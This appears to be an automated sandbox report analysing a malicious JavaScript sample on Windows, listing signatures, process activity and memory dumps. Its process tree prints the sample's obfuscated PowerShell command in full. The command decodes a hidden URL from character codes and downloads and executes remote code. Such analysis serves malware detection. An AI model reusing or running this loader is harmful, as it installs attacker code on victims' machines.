Analysis
- max time kernel
149s - max time network
124s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
12/09/2026, 11:16
General
- Target jaffacakes118_0525e8f76763325550e5c2d98f236f1d003dd2f30d601bc0a39dd0cfa033ce50.js
- Size 209KB
- Sample260912-ndabcafp8y
- SHA256 0525e8f76763325550e5c2d98f236f1d003dd2f30d601bc0a39dd0cfa033ce50
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_0525e8f76763325550e5c2d98f236f1d003dd2f30d601bc0a39dd0cfa033ce50.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $mjoediunq='ur' ;new-alias printout c$($mjoediunq)l;$wedhuispcyvg=(7564,7576,7588,7587,7567,7585,7582,7580,7567,7583,7569,7564,7570,7564,7585,7512,7582,7577,7578,7513,7515,7512,7578,7570,7578,7529,7581,7527,7575,7571,7576,7582,7581,7516,7515);$bvgomzx=('bronx','get-cmdlet');$qgewtyzujsdcoi=$wedhuispcyvg;foreach($gbyswhcxtz in $qgewtyzujsdcoi){$fmxwtuhleyi=$gbyswhcxtz;$aikezrvf=$aikezrvf+[char]($fmxwtuhleyi-7466);$wxrjivshkpd=$aikezrvf; $gzreaihjlnux=$wxrjivshkpd};$xenvzwfplsq[2]=$gzreaihjlnux;$lgtsixnqom='rl';$zxfgma=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gzreaihjlnux)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $mjoediunq='ur' ;new-alias printout c$($mjoediunq)l;$wedhuispcyvg=(7564,7576,7588,7587,7567,7585,7582,7580,7567,7583,7569,7564,7570,7564,7585,7512,7582,7577,7578,7513,7515,7512,7578,7570,7578,7529,7581,7527,7575,7571,7576,7582,7581,7516,7515);$bvgomzx=('bronx','get-cmdlet');$qgewtyzujsdcoi=$wedhuispcyvg;foreach($gbyswhcxtz in $qgewtyzujsdcoi){$fmxwtuhleyi=$gbyswhcxtz;$aikezrvf=$aikezrvf+[char]($fmxwtuhleyi-7466);$wxrjivshkpd=$aikezrvf; $gzreaihjlnux=$wxrjivshkpd};$xenvzwfplsq[2]=$gzreaihjlnux;$lgtsixnqom='rl';$zxfgma=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gzreaihjlnux)2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4976-0-0x00007FFB06E6F000-0x00007FFB06E70000-memory.dmp
memory/4976-1-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-2-0x000002A2B0040000-0x000002A2B0062000-memory.dmp
memory/4976-3-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-7-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-6-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-8-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-9-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-10-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-11-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-12-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-13-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-14-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-15-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-16-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp
memory/4976-18-0x00007FFB06CE0000-0x00007FFB07684000-memory.dmp